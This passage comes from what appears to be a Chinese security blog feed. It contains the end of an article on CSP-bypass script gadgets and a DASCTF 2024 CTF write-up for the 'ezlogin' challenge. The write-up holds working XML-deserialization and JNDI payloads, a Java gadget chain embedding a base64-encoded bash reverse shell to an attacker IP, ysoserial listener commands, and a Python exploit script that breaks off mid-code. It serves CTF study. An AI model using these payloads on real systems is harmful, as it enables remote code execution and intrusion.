代表着只能加载符合同源策略的文件，直接插入至 html 页面中的静态 script 标签将无法执行。结合其他 CSP 来看，常用的 iframe，object 等标签也是无法被绕过的。</p><p>使用 link 的预加载机制去带出 cookie，然而受限于 script-src ‘self’ 的限制，虽然能够通过 dns 带出信息，但是无法将 cookie 带出来，因此预加载也是无法使用的。于是只能另外寻找突破口，在查阅大量资料后发现，可以通过引入正常的非 js 文件来达到引入 js 脚本的效果。题目中要是具有上传点，可以将 js 代码插入到尾部来进行绕过。</p><h4 id="gadgets"><a class="markdownIt-Anchor" href="#gadgets">#</a> Gadgets</h4><p><a class="link" href="https://xz.aliyun.com/t/4165">https://xz.aliyun.com/t/4165 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><strong>字符串操作</strong></p><p>这种 Gadget 主要是指对字符串的操作，一个字符串在经过操作后可能变为造成攻击的字符。</p><p>例如 Polymer 中的一段代码 <code>dash.replace(/-[a-z]/g, (m) =&gt; m[1].toUpperCase())</code> ，这段代码会把以连字符构成的字符串变为大写，例如像 <code>inner-h-t-m-l</code>  这种字符串处理后会变成 <code>innerHTML</code> 。大部分 WAF 是对请求值和返回值做匹配，而此时传入的是 <code>inner-h-t-m-l</code>  而不是 <code>innerHTML</code> ，那么就有可能造成绕过。</p><p><strong>元素创建</strong></p><p>这种 Gadget 是像 <code>document.createElement(input)</code>   <code>document.createElement(&quot;script&quot;)</code>   <code>jQuery(&quot;&lt;&quot; + tag + &quot;&gt;&quot;)</code>   <code>jQuery.html(input)</code>  这种直接创建的标签甚至 script 的代码片段。当输入一定程度可控时，则可利用这种 Gadget。</p><p><strong>函数创建</strong></p><p>这种 Gadget 是指创建函数的代码段，比如 Underscore.js 中发现的一段代码：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">source = &quot;var __t,__p=&#x27;&#x27;,__j=Array.prototype.join,&quot; +</span><br><span class="line">&quot;print=function()&#123;__p+=__j.call(arguments,&#x27;&#x27;);&#125;;\n&quot; +</span><br><span class="line">source + &#x27;return __p;\n&#x27;;</span><br><span class="line">var render = new Function(</span><br><span class="line">settings.variable || &#x27;obj&#x27;, &#x27;_&#x27;, source);</span><br></pre></td></tr></table></figure></div><p>这种 Gadget 会间接执行构造的代码段，在一定条件下可造成攻击。</p><p><strong>JavaScript 代码执行</strong></p><p>这种 Gadget 主要是指类似 <code>eval</code>  这种会直接执行传入代码的代码段，例如：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">eval(input);</span><br><span class="line">inputFunction.apply();</span><br><span class="line">node.innerHTML = &quot;prefix&quot; + input + &quot;suffix&quot;;</span><br><span class="line">scriptElement.src = input;</span><br><span class="line">node.appendChild(input);</span><br></pre></td></tr></table></figure></div><p><strong>表达式解析</strong></p><p>很多前端框架都提供了自己的模版引擎，有着丰富而强大的功能，这种 Gadget 就是框架中对模版表达式解析执行而造成的问题。例如 Aurelia 框架中可以用下面这段代码来触发一个代码执行。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&lt;div ref=me</span><br><span class="line">s.bind=&quot;$this.me.ownerDocument.defaultView.alert(1)&quot;</span><br><span class="line">&gt;&lt;/div&gt;</span><br></pre></td></tr></table></figure></div>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;内容安全策略csp&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#内容安全策略csp&quot;&gt;#&lt;/a&gt; 内容安全策略（CSP）&lt;/h2&gt;
&lt;h3 id=&quot;同源策略&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#同</summary>
      
    
    
    
    <category term="Web Base" scheme="http://example.com/categories/Web-Base/"/>
    
    
  </entry>
  
  <entry>
    <title>DASCTF 2024 十月赛</title>
    <link href="http://example.com/2024/10/23/DASCTF-2024-%E5%8D%81%E6%9C%88%E8%B5%9B/"/>
    <id>http://example.com/2024/10/23/DASCTF-2024-%E5%8D%81%E6%9C%88%E8%B5%9B/</id>
    <published>2024-10-23T13:32:05.000Z</published>
    <updated>2024-10-23T15:33:03.718Z</updated>
    
    <content type="html"><![CDATA[<h2 id="dasctf-2024-十月赛"><a class="markdownIt-Anchor" href="#dasctf-2024-十月赛">#</a> DASCTF 2024 十月赛</h2><h3 id="ezlogin"><a class="markdownIt-Anchor" href="#ezlogin">#</a> ezlogin</h3><p>EditController.edit 中 /editPass 路由接受用户输入的 newPass</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202410232143581.png" alt="image-20241023214303544"></p><p>UserUtil.changePassword 方法用到了 newPass 参数：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202410232143109.png" alt="image-20241023214319069"></p><p>并且是 replace 进行修改</p><p>/del 接口</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202410232143720.png" alt="image-20241023214328692"></p><p>delUser：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202410232143970.png" alt="image-20241023214343944"></p><p>没有重置 session，而 editPassword 的 oldPass 又是从 session 中拿的</p><p>可以通过 replace 是将 payload 注入到 newPass，用于 xml 反序列化</p><p>有长度限制，ban 了 java. 和 springframework.，不能直接 RCE</p><p>注意到 Spring 版本存在 Jackson 链子，直接打 JNDI 注入</p><p>先看一下他 xml 结构</p><div class="highlight-container" data-rel="Xml"><figure class="iseeu highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">java</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">object</span> <span class="attr">class</span>=<span class="string">\</span>&quot;<span class="attr">org.example.auth.User</span>\&quot;&gt;</span>     </span><br><span class="line">    <span class="tag">&lt;<span class="name">void</span> <span class="attr">property</span>=<span class="string">\</span>&quot;<span class="attr">username</span>\&quot;&gt;</span>            </span><br><span class="line">      <span class="tag">&lt;<span class="name">string</span>&gt;</span>&#123;0&#125;<span class="tag">&lt;/<span class="name">string</span>&gt;</span>        </span><br><span class="line">    <span class="tag">&lt;/<span class="name">void</span>&gt;</span>        </span><br><span class="line">    <span class="tag">&lt;<span class="name">void</span> <span class="attr">property</span>=<span class="string">\</span>&quot;<span class="attr">password</span>\&quot;&gt;</span>            </span><br><span class="line">      <span class="tag">&lt;<span class="name">string</span>&gt;</span>&#123;1&#125;<span class="tag">&lt;/<span class="name">string</span>&gt;</span>        </span><br><span class="line">    <span class="tag">&lt;/<span class="name">void</span>&gt;</span>    </span><br><span class="line">  <span class="tag">&lt;/<span class="name">object</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">java</span>&gt;</span></span><br></pre></td></tr></table></figure></div><p>JNDI 注入触发 gadget：</p><div class="highlight-container" data-rel="Xml"><figure class="iseeu highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">java</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">object</span> <span class="attr">class</span>=<span class="string">&quot;javax.naming.InitialContext&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">void</span> <span class="attr">method</span>=<span class="string">&quot;lookup&quot;</span>&gt;</span></span><br><span class="line">      <span class="tag">&lt;<span class="name">string</span>&gt;</span>rmi://ip:port/a<span class="tag">&lt;/<span class="name">string</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">void</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">object</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">java</span>&gt;</span></span><br></pre></td></tr></table></figure></div><p>长度限制可以用递归绕，即：</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">payload1 = <span class="string">&quot;--&gt;&lt;java&gt;&lt;object class=\&quot;javax.naming.InitialContext\&quot;&gt;&lt;void method=\&quot;lookup\&quot;&gt;&lt;string&gt;rmi://&quot;</span>+rmiserver+<span class="string">&quot;/a&lt;/string&gt;&lt;/void&gt;&lt;/object&gt;&lt;/java&gt;&lt;!--&quot;</span></span><br><span class="line">list1 = []</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>,<span class="built_in">len</span>(payload1),<span class="number">5</span>) :</span><br><span class="line">    <span class="keyword">if</span> <span class="built_in">len</span>(payload1) - i &gt;= <span class="number">5</span>:</span><br><span class="line">        list1.append(payload1[i:i+<span class="number">5</span>:]+<span class="string">&quot;_____&quot;</span>)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        list1.append(payload1[i:<span class="built_in">len</span>(payload1)])</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line"><span class="built_in">print</span>(list1)</span><br><span class="line"><span class="keyword">if</span> <span class="built_in">len</span>(list1[-<span class="number">1</span>]) &lt; <span class="number">3</span>:</span><br><span class="line">    list1[-<span class="number">1</span>]=list1[-<span class="number">2</span>][-<span class="number">8</span>:-<span class="number">5</span>:]+list1[-<span class="number">1</span>]</span><br><span class="line">    list1[-<span class="number">2</span>]=list1[-<span class="number">2</span>][<span class="number">0</span>:<span class="number">2</span>]+list1[-<span class="number">2</span>][-<span class="number">5</span>:-<span class="number">1</span>:]</span><br><span class="line"><span class="built_in">print</span>(list1)</span><br></pre></td></tr></table></figure></div><p>每五个字符一段并替换 “______” 为下一段 payload 即可</p><p>同时利用该方法修改注释掉的 xml 部分，每个 &quot;&lt;&quot;,&quot;&gt;&quot; 之间都修改为最短的三字符，即可缩短 xml 文件至最小长度。</p><p>官方给的预期最短 payload：</p><div class="highlight-container" data-rel="Xml"><figure class="iseeu highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!--&gt;</span></span><br><span class="line"><span class="comment">111&lt;111&gt;</span></span><br><span class="line"><span class="comment">111&lt;111&gt;</span></span><br><span class="line"><span class="comment">111&lt;111&gt;D&lt;111&gt;</span></span><br><span class="line"><span class="comment">111&lt;111&gt;</span></span><br><span class="line"><span class="comment">111&lt;111&gt;</span></span><br><span class="line"><span class="comment">111&lt;111&gt;--&gt;</span><span class="tag">&lt;<span class="name">java</span>&gt;</span><span class="tag">&lt;<span class="name">object</span> <span class="attr">class</span>=<span class="string">&quot;javax.naming.InitialContext&quot;</span>&gt;</span><span class="tag">&lt;<span class="name">void</span> <span class="attr">method</span>=<span class="string">&quot;lookup&quot;</span>&gt;</span><span class="tag">&lt;<span class="name">string</span>&gt;</span>rmi://172.22.192.119:8888/a<span class="tag">&lt;/<span class="name">string</span>&gt;</span><span class="tag">&lt;/<span class="name">void</span>&gt;</span><span class="tag">&lt;/<span class="name">object</span>&gt;</span><span class="tag">&lt;/<span class="name">java</span>&gt;</span><span class="comment">&lt;!--&lt;111&gt;</span></span><br><span class="line"><span class="comment">111&lt;111&gt;</span></span><br><span class="line"><span class="comment">111&lt;111&gt;</span></span><br><span class="line"><span class="comment">&lt;/!--&gt;</span></span><br></pre></td></tr></table></figure></div><p>修改 ysoserial 的 ysoserial.exploit.JRMPListener 来发送序列化数据：</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">serialize</span><span class="params">(Object obj)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">    <span class="type">ObjectOutputStream</span> <span class="variable">objo</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(<span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(<span class="string">&quot;ser.txt&quot;</span>));</span><br><span class="line">    objo.writeObject(obj);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">unserialize</span><span class="params">()</span> <span class="keyword">throws</span> Exception&#123;</span><br><span class="line"><span class="type">ObjectInputStream</span> <span class="variable">obji</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(<span class="keyword">new</span> <span class="title class_">FileInputStream</span>(<span class="string">&quot;ser.txt&quot;</span>));</span><br><span class="line">obji.readObject();</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="type">byte</span>[][] generateEvilBytes() <span class="keyword">throws</span> Exception&#123;</span><br><span class="line"><span class="type">ClassPool</span> <span class="variable">cp</span> <span class="operator">=</span> ClassPool.getDefault();</span><br><span class="line">cp.insertClassPath(<span class="keyword">new</span> <span class="title class_">ClassClassPath</span>(AbstractTranslet.class));</span><br><span class="line"><span class="type">CtClass</span> <span class="variable">cc</span> <span class="operator">=</span> cp.makeClass(<span class="string">&quot;evil&quot;</span>);</span><br><span class="line"><span class="type">String</span> <span class="variable">cmd</span> <span class="operator">=</span> <span class="string">&quot;Runtime.getRuntime().exec(\&quot;bash -c &#123;echo,YmFzaCAtaSA+Ji9kZXYvdGNwL2lwLzg4ODggMD4mMQ==&#125;|&#123;base64,-d&#125;|&#123;bash,-i&#125;\&quot;);&quot;</span>;</span><br><span class="line"><span class="comment">// 修改为自己的ip port</span></span><br><span class="line">cc.makeClassInitializer().insertBefore(cmd);</span><br><span class="line">cc.setSuperclass(cp.get(AbstractTranslet.class.getName()));</span><br><span class="line"><span class="type">byte</span>[][] evilbyte = <span class="keyword">new</span> <span class="title class_">byte</span>[][]&#123;cc.toBytecode()&#125;;</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> evilbyte;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span>  <span class="keyword">static</span> &lt;T&gt; <span class="keyword">void</span> <span class="title function_">setValue</span><span class="params">(Object obj,String fname,T f)</span> <span class="keyword">throws</span> Exception&#123;</span><br><span class="line">    <span class="type">Field</span> <span class="variable">filed</span> <span class="operator">=</span> TemplatesImpl.class.getDeclaredField(fname);</span><br><span class="line">    filed.setAccessible(<span class="literal">true</span>);</span><br><span class="line">    filed.set(obj,f);</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// 删除writeReplace</span></span><br><span class="line"><span class="type">ClassPool</span> <span class="variable">pool</span> <span class="operator">=</span> ClassPool.getDefault();</span><br><span class="line"><span class="type">CtClass</span> <span class="variable">ctClass0</span> <span class="operator">=</span> pool.get(<span class="string">&quot;com.fasterxml.jackson.databind.node.BaseJsonNode&quot;</span>);</span><br><span class="line"><span class="type">CtMethod</span> <span class="variable">wt</span> <span class="operator">=</span> ctClass0.getDeclaredMethod(<span class="string">&quot;writeReplace&quot;</span>);</span><br><span class="line">ctClass0.removeMethod(wt);</span><br><span class="line">ctClass0.toClass();</span><br><span class="line"></span><br><span class="line"><span class="comment">//构造恶意TemplatesImpl</span></span><br><span class="line"><span class="type">TemplatesImpl</span> <span class="variable">tmp</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TemplatesImpl</span>();</span><br><span class="line">setValue(tmp,<span class="string">&quot;_tfactory&quot;</span>,<span class="keyword">new</span> <span class="title class_">TransformerFactoryImpl</span>());</span><br><span class="line">setValue(tmp,<span class="string">&quot;_name&quot;</span>,<span class="string">&quot;123&quot;</span>);</span><br><span class="line">setValue(tmp,<span class="string">&quot;_bytecodes&quot;</span>,generateEvilBytes());</span><br><span class="line"></span><br><span class="line"><span class="comment">//        //不稳定的触发</span></span><br><span class="line"><span class="comment">//        ObjectMapper objmapper = new ObjectMapper();</span></span><br><span class="line"><span class="comment">//        ArrayNode arrayNode =objmapper.createArrayNode();</span></span><br><span class="line"><span class="comment">//        arrayNode.addPOJO(tmp);</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">//        BadAttributeValueExpException ex = new BadAttributeValueExpException(&quot;1&quot;); //反射绕过构造方法限制</span></span><br><span class="line"><span class="comment">//        Field f = BadAttributeValueExpException.class.getDeclaredField(&quot;val&quot;);</span></span><br><span class="line"><span class="comment">//        f.setAccessible(true);</span></span><br><span class="line"><span class="comment">//        f.set(ex,arrayNode);</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">//        serialize(ex);</span></span><br><span class="line"><span class="comment">//        System.out.println(getb64(ex));</span></span><br><span class="line"><span class="comment">//        System.out.println(getb64(ex).length());</span></span><br><span class="line"><span class="comment">//        unserialize();</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//稳定触发</span></span><br><span class="line"></span><br><span class="line"><span class="type">AdvisedSupport</span> <span class="variable">support</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AdvisedSupport</span>();</span><br><span class="line">support.setTarget(tmp);</span><br><span class="line"><span class="type">Constructor</span> <span class="variable">constructor</span> <span class="operator">=</span> Class.forName(<span class="string">&quot;org.springframework.aop.framework.JdkDynamicAopProxy&quot;</span>).getConstructor(AdvisedSupport.class);</span><br><span class="line">constructor.setAccessible(<span class="literal">true</span>);</span><br><span class="line"><span class="type">InvocationHandler</span> <span class="variable">handler</span> <span class="operator">=</span> (InvocationHandler) constructor.newInstance(support);</span><br><span class="line"><span class="type">Templates</span> <span class="variable">proxy</span> <span class="operator">=</span> (Templates) Proxy.newProxyInstance(Templates.class.getClassLoader(),<span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Templates.class&#125;,handler);</span><br><span class="line"></span><br><span class="line"><span class="type">ObjectMapper</span> <span class="variable">objmapper</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectMapper</span>();</span><br><span class="line"><span class="type">ArrayNode</span> <span class="variable">arrayNode</span> <span class="operator">=</span>objmapper.createArrayNode();</span><br><span class="line">arrayNode.addPOJO(proxy);</span><br><span class="line"></span><br><span class="line"><span class="type">BadAttributeValueExpException</span> <span class="variable">ex</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">BadAttributeValueExpException</span>(<span class="string">&quot;1&quot;</span>); <span class="comment">//反射绕过构造方法限制</span></span><br><span class="line">        <span class="type">Field</span> <span class="variable">f</span> <span class="operator">=</span> BadAttributeValueExpException.class.getDeclaredField(<span class="string">&quot;val&quot;</span>);</span><br><span class="line">        f.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        f.set(ex,arrayNode);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">        oos.writeObject(ex);</span><br><span class="line"></span><br><span class="line">        oos.flush();</span><br><span class="line">        out.flush();</span><br></pre></td></tr></table></figure></div><p>并在 vps 上运行</p><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">mvn clean package --DskipTests</span><br><span class="line"><span class="built_in">cd</span> target/</span><br><span class="line">java -<span class="built_in">cp</span> ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 8888 a a</span><br></pre></td></tr></table></figure></div><p>启动 JRMPListener 后运行 exp：</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"></span><br><span class="line">targeturl = <span class="string">&quot;http://&quot;</span>+sys.argv[<span class="number">1</span>] //靶机地址</span><br><span class="line"></span><br><span class="line">rmiserver = sys.argv[<span class="number">2</span>] //rmi服务器地址</span><br><span class="line"></span><br><span class="line">sessions = &#123;&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">register</span>(<span class="params">passwd</span>):</span><br><span class="line">    data=&#123;<span class="string">&quot;password&quot;</span>:passwd,<span class="string">&quot;username&quot;</span>:<span class="string">&quot;F&quot;</span>&#125;</span><br><span class="line">    res = requests.post(targeturl+<span class="string">&quot;/register&quot;</span>,data=data)</span><br><span class="line">    <span class="keyword">if</span> <span class="string">&quot;success&quot;</span> <span class="keyword">in</span> res.text.lower():</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;register <span class="subst">&#123;passwd&#125;</span> success&quot;</span>)</span><br><span class="line">    <span class="keyword">else</span> : <span class="built_in">print</span>(<span class="string">f&quot;register fail: <span class="subst">&#123;res.text&#125;</span>&quot;</span>);exit(<span class="number">114514</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">getsession</span>(<span class="params">passwd</span>):</span><br><span class="line">    data=&#123;<span class="string">&quot;password&quot;</span>:passwd,<span class="string">&quot;username&quot;</span>:<span class="string">&quot;F&quot;</span>&#125;</span><br><span class="line">    res = requests.post(targeturl+<span class="string">&quot;/login&quot;</span>,data=data)</span><br><span class="line">    <span class="keyword">if</span> <span class="string">&quot;redirect&quot;</span> <span class="keyword">in</span> res.text.lower() :</span><br><span class="line">        session=res.headers.get(<span class="string">&quot;Set-Cookie&quot;</span>).split(<span class="string">&quot;;&quot;</span>)[<span class="number">0</span>].split(<span class="string">&quot;=&quot;</span>)[<span class="number">1</span>]</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;session for <span class="subst">&#123;passwd&#125;</span> : <span class="subst">&#123;session&#125;</span>&quot;</span>)</span><br><span class="line">        headers = &#123;<span class="string">&quot;Cookie&quot;</span> : <span class="string">f&quot;JSESSIONID=<span class="subst">&#123;session&#125;</span>&quot;</span>&#125;</span><br><span class="line">        sessions[passwd] = headers</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;login fail : <span class="subst">&#123;res.text&#125;</span>&quot;</span>);exit(<span class="number">114514</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">editpass</span>(<span class="params">oldpass,newpass</span>):</span><br><span class="line">    data=&#123;<span class="string">&quot;newPass&quot;</span>:newpass&#125;</span><br><span class="line">    headers = sessions[oldpass]</span><br><span class="line">    res = requests.post(targeturl+<span class="string">&quot;/editPass&quot;</span>,data=data,headers=headers)</span><br><span class="line">    <span class="keyword">if</span> <span class="string">&quot;success&quot;</span> <span class="keyword">in</span> res.text.lower():</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;change <span class="subst">&#123;oldpass&#125;</span> to <span class="subst">&#123;newpass&#125;</span> success&quot;</span>)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;edit fail : <span class="subst">&#123;res.text&#125;</span>&quot;</span>);exit(<span class="number">114514</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">deluser</span>(<span class="params">passwd</span>):</span><br><span class="line">    res = requests.get(targeturl+<span class="string">&quot;/del&quot;</span>,headers=sessions[passwd])</span><br><span class="line">    <span class="keyword">if</span> <span 